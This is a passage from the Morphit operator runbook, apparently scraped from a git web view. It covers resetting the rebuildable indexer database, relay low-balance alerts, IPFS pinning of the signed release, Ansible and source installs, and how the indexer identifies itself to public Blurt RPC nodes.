The indexer database is a derived cache, not a system of record. Every order, feedback entry, and operator action lives on the Blurt chain; the indexer just reads the chain and rebuilds its tables from it. Dropping and recreating the database loses nothing permanent — the indexer re-derives everything on its next sync. Your relay account and signing key are stored separately and are not touched by any of this.

The reset

Stop the indexer:
```
sudo systemctl stop morphit-indexer
```
Drop and recreate its database. Use the database name + owner from your MORPHIT_INDEXER_DATABASE_URL (in morphit.env). If your URL is postgresql://morphit_indexer:…@localhost/morphit_indexer, the database is morphit_indexer and the owner is morphit_indexer:
```
sudo -u postgres psql -c "DROP DATABASE morphit_indexer;" \
                      -c "CREATE DATABASE morphit_indexer OWNER morphit_indexer;"
```
(Substitute your own names. This is the same drop-and-recreate you'd do to switch chains — see §25.)
Start the indexer again:
```
sudo systemctl start morphit-indexer
```
On boot it creates the current schema from scratch, then begins syncing from the chain. A fresh indexer reports degraded until it catches up — that's normal.
(Optional) Skip the long re-sync. A full re-sync from genesis can take a while. To jump the cursor close to the chain head instead:
```
morphit-ops fast-forward
```
(You can pass a specific block number — morphit-ops fast-forward BLOCK — but with no argument it advances to a recent block for you.)
Confirm:
```
morphit-ops doctor
```
You want Database schema (matches this version).

47. Keeping the relay funded — low-BLURT notifications

The relay creates each account with a direct account_create op, paying the chain account_creation_fee (≈100 BLURT) inline from its liquid BLURT (Blurt disabled the Account-Creation-Token model at hard fork 2 — ADR-0010, as amended 2026-06). So signup readiness gates on one thing: the relay's liquid BLURT balance. When it can't cover the fee plus a small margin, signups fail with relay_out_of_funds until you top it up; recovery is automatic on the next health poll (~30s). There is nothing to "mint" and no buffer to maintain — keep @morphit-relay funded (see §0a for the math) and let it tell you, over Matrix, when to add more.

47.1 Get notified when BLURT runs low (so you can top up)

Two complementary signals, both delivered to your Matrix alert DM by the matrix-bot (which reads the indexer/relay JSON journal). Set MORPHIT_MATRIX_BOT_ALERT_MXID=@you:your.server for the bot and run it.

On-chain balance threshold (indexer). Opt-in; default off. In the indexer env:
```
MORPHIT_INDEXER_OPERATOR_BALANCE_INTERVAL_MS=300000
MORPHIT_INDEXER_OPERATOR_BALANCE_RELAY_THRESHOLD_BLURT=300
```
The indexer watches @morphit-relay's liquid balance and fires operator-balance:low_balance → Matrix when it drops below the threshold (CRITICAL at zero — the relay has halted; WARN above zero). Hysteresis means one alert per downward crossing, plus a balance_recovered when your top-up lands. Set the threshold above roughly one week of signup fees so the warning arrives with real lead time — well into the thousands of BLURT for a busy instance; 300 suits a quiet one. (See also §16.)
Signups actually down (relay, CRITICAL). Automatic, no config: the relay's health poller watches its own liquid balance; the moment it drops below the account-creation fee + margin — meaning signups are being REFUSED with relay_out_of_funds right now — it emits relay-acts:relay_low_balance_for_signups (CRITICAL → Matrix), naming the account, the balance, and the BLURT required.

To top up: transfer liquid BLURT to @morphit-relay. Signups recover on their own within ~30 seconds — no command to run.

48. IPFS release hosting — every instance pins the signed release

Every Morphit instance runs a small IPFS (Kubo) node that pins THIS instance's current signed release. The point is decentralization (priority #2): if the code lived only on a handful of pinning services (Pinata, Storacha, …) and they all dropped it, the IPFS copy would vanish. With every operator pinning, the signed release is served from as many independent nodes as there are instances — and operators keep 90% of the BLURT listing fees, so hosting the release they run is the quid pro quo. This is ON by default. (The code never disappears regardless — it is also on nine git mirrors and anchored on-chain — but this keeps the IPFS copy alive without depending on any single provider.)

How it works

The instance's own indexer already reads morphit_release_v1 from the chain, so /v1/release now carries the release's distribution block, including its ipfs_cid (a directory CID — the tarball, notes, and metadata.json). No third party is trusted for the CID.
morphit-ipfs-pin.sh (on a timer + at boot) reads ipfs_cid from /v1/release and runs ipfs pin add by CID — it fetches and keeps the exact bytes the chain anchors, so the node serves the same CID everyone else does. Only the release maintainer ever publishes the IPNS name; instances just provide the content it resolves to.
The node is deliberately light (priority #4): the Kubo lowpower profile, a small connection cap, loopback-only API/gateway, and periodic GC. The only content it keeps is the ~12 MB release directory.

Setup

Ansible installs get it automatically — the ipfs role runs by default (enable_ipfs: true in group_vars/all.yml). It installs Kubo (pinned morphit_kubo_version, checksum-verified), initialises the repo, and enables the daemon + the morphit-ipfs-pin.timer. To pin Kubo's exact bytes, set morphit_kubo_sha512. To opt a host out, set enable_ipfs: false for it in inventory.

Hand-managed installs (no Ansible): run the shipped setup once, or pick it from morphit-ops harden → "Set up IPFS release hosting":

sudo sh ops/ipfs/morphit-ipfs-setup.sh

It installs Kubo + the pinning service/timer idempotently. Then:

systemctl status ipfs morphit-ipfs-pin.timer
sudo systemctl start morphit-ipfs-pin.service    # pin right now
journalctl -u morphit-ipfs-pin -e --no-pager

Verifying + footprint

ipfs pin ls --type=recursive on the box lists the pinned release CID; it should match distribution.ipfs_cid from /v1/release (and the on-chain anchor). Resource use is modest — a low-power DHT participant plus a few MB of pinned content — but it is a running daemon; a memory- or bandwidth- constrained box can opt out as above. The pinning service is non-fatal by design: a Kubo outage or a slow fetch never affects the site.

49. Advanced install paths — Ansible playbook or build-from-source

The friendly one-command install (sudo bash morphit-setup.sh → "Full guided install") is the recommended path for everyone and is documented in RUN-A-MORPHIT-NODE.md. This section is for operators who would rather drive the install by hand: run the Ansible playbook themselves, or build from source and install the prerequisites manually. Both reach the same hardened end state; neither is a "lighter" install.

49a. Run the Ansible playbook yourself

Morphit ships an Ansible playbook that does the whole operating-system setup on a fresh Ubuntu box — it installs Node.js and PostgreSQL, builds the app, lays down the background services, and deploys the website and the read-only helper. You fill in a couple of small config files and run one command:

cd ops/ansible
# 1. Tell it which machine(s) to set up.
cp inventory/hosts.yml.example inventory/hosts.yml
$EDITOR inventory/hosts.yml

# 2. Fill in the non-secret settings (your domain, your Blurt account, etc.).
$EDITOR group_vars/all.yml

# 3. Put your secrets in an encrypted vault.
cp group_vars/vault.yml.example group_vars/vault.yml
$EDITOR group_vars/vault.yml
ansible-vault encrypt group_vars/vault.yml

# 4. Run it.
ansible-playbook -i inventory/hosts.yml playbook.yml --ask-vault-pass

When it finishes, everything is installed and running — the app and background services, HTTPS with automatic renewal, the BunkerWeb firewall, your Tor .onion and I2P addresses, and full server hardening. There is nothing more to switch on; go straight to registering as an operator (RUN-A-MORPHIT-NODE.md §9). TLS is already obtained + auto-renewing (§35) and BunkerWeb is already on (§32).

49b. Configure only — you install the prerequisites (build from source)

If you would rather install the prerequisites yourself and just have morphit-ops write your configuration, this is the path. (It is the "Configure only" choice in the installer.)

Install Node.js 22, PostgreSQL 15.x or higher, and nginx from your system's package manager (psql --version should read 15.x or higher). Then get Morphit and build it from source:

cd ~
git clone https://git.agorise.net/agorise/morphit.git
cd morphit
npm install
npm run build --workspaces --if-present

npm install pulls in the libraries (a few hundred MB — normal) and creates the morphit-ops command you use for everything else. It also wires up Morphit's internal workspace symlinks (@morphit/asset-registry and friends). If you ever run the test suite before npm install finishes and see ERR_MODULE_NOT_FOUND complaining about @morphit/asset-registry, that just means the symlinks are not in place yet — run npm install and it clears up. Re-run npm install after every git pull.

Now run the installer and choose "Configure only" when it asks:

npx morphit-ops install

It checks your prerequisites (Node 22, PostgreSQL, git), runs the setup wizard, and offers to harden the server. On this path it deliberately does not install Node/PostgreSQL or the background services for you — that is what the guided install (or the playbook in §49a) is for — so set up the database and services next.

Database. Pick a strong password (openssl rand -base64 32), save it, then create the role and database:

MORPHIT_INDEXER_DB_PASSWORD='<your-strong-password>' \
    sudo -E -u postgres psql -f ops/postgres/init.sql
cd apps/indexer && npm run migrate && cd ../..

The init script refuses to run with a placeholder like __SET_BEFORE_DEPLOY__ or CHANGEME — that is on purpose, so nobody ships with an example password. (Full sentinel details: §30.)

Background services. The shipped unit files assume the default /opt/morphit path, so instead of editing them by hand, run the path-aware installer — it detects where you actually cloned the repo and writes the services with the correct paths:

sudo bash ops/scripts/install-systemd-units.sh
# The units run as root and source these env files; keep them
# root-owned, group-readable by the morphit service group (0640):
sudo chown root:morphit /etc/morphit/indexer.env /etc/morphit/relay.env
sudo chmod 0640 /etc/morphit/indexer.env /etc/morphit/relay.env
sudo systemctl enable --now morphit-indexer morphit-relay

nginx. Serve the built website over HTTPS and proxy the API to the local services. The shipped ops/nginx/web.conf is a complete, ready-to-adapt server block — copy it and change yourdomain.com to your domain. Keep its security headers and no-cache rules byte-for-byte (§15 for the headers; "Caching the update surface" / §14 for the no-cache blocks and the header-inheritance caveat). One thing worth setting while you are in there: the live-chat endpoints (/v1/chat/…/stream and /v1/chat-activity) are held-open "streaming" connections, so instead of the usual per-minute request limit they want a per-visitor cap on how many streams one address can hold open at once (a generous number — a few dozen). The exact limit_conn snippet is in the BunkerWeb / reverse-proxy section (§32).

Then turn on HTTPS with a free Let's Encrypt certificate — npx morphit-ops ssl setup prints the exact certbot line for your domain (§35) — and register as an operator (RUN-A-MORPHIT-NODE.md §9).

50. How your indexer treats the public Blurt RPC nodes (User-Agent + rate limits)

The public Blurt RPC nodes are run by volunteers, for free, and Morphit leans on them. Your indexer is built not to abuse that: it caps its own request rate, backs off exponentially when a node pushes back, jitters its retries so every Morphit instance in the federation does not stampede the same node at the same second, and fetches blocks in batches of 20 rather than one request at a time when it is catching up after downtime. If a node's firewall refuses those batches (some public nodes return an HTTP 406/403 to a batched request while serving single ones fine), your indexer notices and quietly switches to one-at-a-time for that node — so a single strict node cannot stall your catch-up, and you never have to hand-pick endpoints (since v1.8.1). (Endpoint selection itself: §22.)

It also says who it is. Every request your indexer makes to a Blurt RPC node carries:

User-Agent: Morphit/<your indexer version> (+https://git.agorise.net/agorise/morphit)

(<your indexer version> is the same version /v1/health reports — so an operator can tell an old instance from a current one.) Node's built-in fetch sends user-agent: node by default — the same string as every anonymous script on the internet, exactly what bot-detection rules are written to catch — and it gives an RPC operator nobody to contact if your traffic misbehaves. Naming ourselves means an operator who wants us to back off can find us instead of just blocking us. Two of Morphit's own background jobs identify themselves more precisely still — morphit-indexer/federation-probe and morphit-indexer/signup-anomaly-probe — because a node operator reading logs is better served by "which job" than by "which app".

Be aware of what this means for your server. The header goes on every outbound request your indexer makes — the Blurt RPC nodes, the BLURT price feed, and the federation probe that checks other instances. So any host your indexer contacts learns that the IP calling it is running Morphit, and which version. Your server's IP is visible to those hosts either way, and the public instances list already names the instances that want naming; but if you are running an instance you would rather nobody enumerate, know that this header is one of the ways they could. It says nothing whatsoever about your users — their browsers are not touched by this; their requests go to your indexer, not through it. You do not configure any of this and there is nothing to tune.

530 KiB Raw Permalink Blame History Unescape Escape

Morphit — operator runbook

Contents

0. Initial account setup — names, roles, and tradeoffs

How many accounts do you actually need?

Naming — the domain-prefix pattern

Blurt account name constraints

The "what if I lose the domain" risk

Setup checklist

0a. Initial account funding — the relay needs BLURT to operate

Why the relay needs upfront BLURT

How much to fund up front

Where to send the BLURT

Funding the @morphit account (~10 BLURT, small fixed cost)

Funding the fees account (and whether it needs BLURT)

Quick reference: all three Morphit accounts

Long-term funding — see §1

Monitoring the relay balance

Monitoring the price-manipulation defenses (drift / disagreement / peer)

Monitoring RPC endpoint health

Catch-up fetches blocks in batches (v1.7.5)

Public network-stats endpoint (/v1/stats)

1. Recurrent BLURT top-up setup (one-time)

Prerequisites

Procedure

Verifying the transfer is live

Stopping the recurrent transfer early

2. Relay account funding — the weekly ACT minting ceremony is REMOVED

3. Relay reboot

In-memory key handling (2026-05-07 audit)

Prerequisites (one-time setup)

Planned reboot

Unplanned reboot (systemd crash, kernel panic, VPS

Forgot the passphrase

4. Responding to a witness fee change alert

What to check

Don't do

5. Responding to a relay-queue-stuck alert

Inspect the queue

Don't do

6. Responding to a signup velocity spike

Check first

If it's abuse

If it's genuine growth

6a. Moderating accounts — reviewing flags and blocking

Reviewing flags

Blocking an account (instance-local)

7. Suspected relay compromise

Stop the bleeding — in order

Key rotation — within 24h

Don't do

8. Owner-key rotation ceremony

Active-key rotation (owner key is safe)

What NOT to do during rotation

9. Paper-key backup protocol

Creation

Storage

Periodic check

Destruction

10. Escalation

11. Running integration tests

When to run

Prerequisites

Running

What to watch for

First-run verification

12. XMR viewkey pre-deploy check (retired)

13. Responding to a stale BLURT/USD price feed

Responding to a peer-price-disagreement alert

When to investigate

Quick diagnosis

What to check

Immediate mitigation

Don't do

Consistency guarantee

14. Deployment topology requirement — apps MUST be behind a loopback proxy

Why this matters

Verification procedure (do this during setup)

Spot-check during operation

Recommended single-hostname layout (zero DNS for relay/indexer)

530 KiB

Raw Permalink Blame History

Public network-stats endpoint (`/v1/stats`)

Disk SMART health — `morphit-smartctl-monitor`

fail2ban observability — `morphit-fail2ban-monitor`

Linux software RAID — `morphit-mdadm-monitor`

Kernel-log monitor — `morphit-dmesg-monitor`

Docker image CVE rescan — `morphit-trivy-monitor`

Postfix queue monitor — `morphit-postfix-monitor`

TLS cert expiry + renewal-stall detector — `morphit-certbot-monitor`

Pending security updates monitor — `morphit-apt-monitor`

Docker Compose service health monitor — `morphit-compose-monitor`

systemd unit-health monitor — `morphit-systemd-monitor`

Journal disk-usage monitor — `morphit-journald-monitor`